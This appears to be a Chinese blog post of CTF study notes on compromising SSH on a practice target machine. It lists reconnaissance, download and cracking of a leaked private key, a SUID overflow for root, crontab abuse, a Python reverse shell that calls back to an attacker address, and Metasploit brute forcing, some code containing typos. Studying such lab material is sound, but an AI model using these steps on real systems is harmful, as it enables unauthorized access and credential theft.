zoukankan      html  css  js  c++  java
  • ctf-web-SSH思路笔记

    1.CTF-SSH私钥泄露

    1. 挖掘开放服务信息 namp –sV IP地址
    2. 根据挖掘到的端口信息分析服务器开放的服务信息
    3. 若发现服务器开放web服务,使用命令 dirb http://ip:port/ 对这个服务的隐藏文件进行探测
    4. 根据找到的隐藏文件进行分析,注意robots.txt这个文件
    5. 若探测存在./ssh文件夹,则联想是否存在ssh,ssh链接需要私钥Id_rsa,和公钥Id_ras_pub,认证关键字文件authorized_key,分别在浏览器地址栏http://Ip:port/.ssh/加三个文件名进行下载
    6. linux查看当前文件夹命令: ls  查看当前文件夹下文件可读写权限命令 : ls –alh
    7. linux更改文件权限命令:chmod 600 文件名,即可修改文件权限为可读可写权限
    8. 打开认证关键字文件authorized_key,文件最后simen@covfefe前面的就是simen用户名
    9. kali 链接ssh命令 ssh –i id_rsa simen@IP地址,回车以后需要输入密码,下一步使用ssh2john对私钥信息破解,将私钥转换成john可以识别的信息
    10. ssh2john转换命令:ssh2john id_rsa>isacrack
    11. 转换完成利用密码解密isacrack信息,命令 zcat /usr/share/wordlists/rockyou.txt.gz|john –-pipe –-rules isacrack   密码本地址:/usr/share/wordlists/rockyou.txt.gz
    12. 发现密码image
    13. 再次连接ssh :ssh –i id_rsa simen@IP地址 输入密码,成功连接,登陆成功
    14. 使用pwd命令用于显示工作目录,发现没有key文件,所以进一步探测
    15. CTF多注意root根目录,用 cd /root进入root文件夹发现flag.txt但却没有root权限,则需要提升权限
    16. 查找具有root权限的文件 find / –perm –4000 2>/dev/null
    17. 发现read_message.c并查看image
    18. 分析代码发现,首先通过键盘接收一个名字,然后与authorized对比前五个字符,若一样且出现溢出执行message这个程序,构建SimonAAAAAAAAAAAAAAA/bin/sh提升权限
    19. 通过溢出操作获得root权限,cat flag.txt读取flag

    2.SSH服务夺旗

    1. SSH是基于TCP 22端口服务
    2. 大部分CTF比赛中,私钥Id_rsa,和公钥Id_ras_pub,认证关键字文件authorized_key,名字基本固定
    3. SSH协议的验证机制弱点
      1. 基于口令的安全验证:基于字典的暴力破解,破解对应用户名和密码,通过ssH客户端连接到远程主机的ssH服务,实现对服务器的一定控制。(不一定是root权限)
      2. 基于密钥的安全验证:通过对主机信息收集,获取到泄露的用户名和对应的密钥。 修改权限chmod 600 id_rsa,连接ssh -i id_rsa用户名@主机地址   登陆服务器。(不一定是root权限),使用方法上面1中类似
    4. 展开攻击
      1. 尝试基于密钥的安全验证

      2. 信息探测
        1. 对于给定lP地址的靶场机器,对其进行渗透测试,首先需要考虑靶场机器开放的服务。
          1. 探测靶场开放的服务与服务的版本  -- nmap –sV 靶场IP地址
          2. 探测靶场全部信息   --nmap -A-v 靶场lP地址
          3. 探测靶场的操作系统类型与版本     --nmap –o 靶场IP地址
        2. 使用命令 dirb http://ip:port/ 对这个服务的隐藏文件进行探测
          1. 对于某些靶场,也可以使用nikto扫描器来挖掘敏感信息;-- nikto -host靶场IP地址,特别注意config等特殊敏感文件,要细读扫描的结果。挖掘可以利用的敏感信息;
      3. 对挖掘到的ssh密钥利用
        1. 下载文件 wegt”域名地址”
        2. 修改id_rsa的权限    chmod 600 id_rsa
        3. 利用私钥登陆服务器      ssh -i id_rsa用户名@靶场lP地址
      4. 提升权限
        1. 一般情况下flag只属于root用户组
        2. 通过使用以下命令进行探测试图提升权限,发现并没有可用信息
        3. cat/etc/passwd      查看所有用户的列表
          cat /etc/ group       查看用户组
          find / –user  用户名   查看属于某些用户的文件
          /tmp    查看缓冲文件目录

      5. 深入挖掘数据
        1. 通过/etc/crontab文件,设定系统定期执行的任务,编辑,需要root权限。不同的用户都可以有不同的定时任务
        2. cat/etc/crontab挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶场机器的某个文件。
        3. 如果在/etc/crontab下有某个用户的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。
        4. 如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限。
      6. 反弹shell
        1. 靶场代码
        2. #!/usr/bin/python
          import os,subprocess,socket
          s=socket.socekt(socket.AF_INET,socket.sOCK_STREAM)
          s.connect((“攻击机IP地址”,攻击机监听端口"))
          os.dup2(s.fileno(),0)
          os.dup2(s.fileno(),1)
          os.dup2(s.fileno(),2)
          p=subprocess.call(["/bin/sh”,"-i'])

        3. 攻击机netcat命令 :
          1. 查看占用端口  netstat-pantu
          2. 监听端口: nc -lpv未占用端口  
      7. 反弹以后使用whoami发现仍是普通用户,此方法失败
      8. 选择第二条路暴力破解
      9. 万不得已的时候只能对ssh服务进行暴力破解。破解最后一个用户名。破解工具如hydra、medusa等;
        1. 利用cupp创建字典   
          1. git clone https://github.com/jeanphorn/common-password.git    
          2. -- chmod +x cupp.py
          3. -- ./cupp.py -i以交互的方式创建字典
          4. 一直回车最后一个选Nimage
        2. 使用metasploit破解SSH
          1. -- msf > use auxiliary /scanner/ssh/ssh_login
          2. -- msf auxiliary(ssh_login) > set rhosts 192.168.1.137
          3. -- msf auxiliary(ssh_login) >set username hadi
          4. -- msf auxiliary(ssh_login) > set pass_file /root/Desktop/common-password/hadi .txt
          5. -- msf auxiliary(ssh_login) >run
          6. 破解成功会得到会话,获取会话  session –i 1
          7. 优化会话
            python –c "inport pty; pty.spawn('/bin/bash')”
          8. 提升权限su – root。输入破解到的密码
      10. 总结:
        在对SSH服务渗透中,大部分情况是利用获取的私钥文件,直接使用用户名和私钥文件登录靶场
        机器,个别情况进行暴力破解获取用户密码,通过用户名和对应用户登录靶场机器。
        CTF中要特别注意/tmp数据缓冲目录以及/etc/crontab设置定时执行的文件



  • 相关阅读:
    用SQL语言操作数据
    用表组织数据
    第一个C#程序
    利用CSS3制作网页动画
    CSS3美化网页元素
    列表、表格与媒体元素
    表单
    HTML5基础
    使用Java编译思想
    Day06:方法 / 猜字母游戏
  • 原文地址:https://www.cnblogs.com/zw7889/p/13586415.html
Copyright © 2011-2022 走看看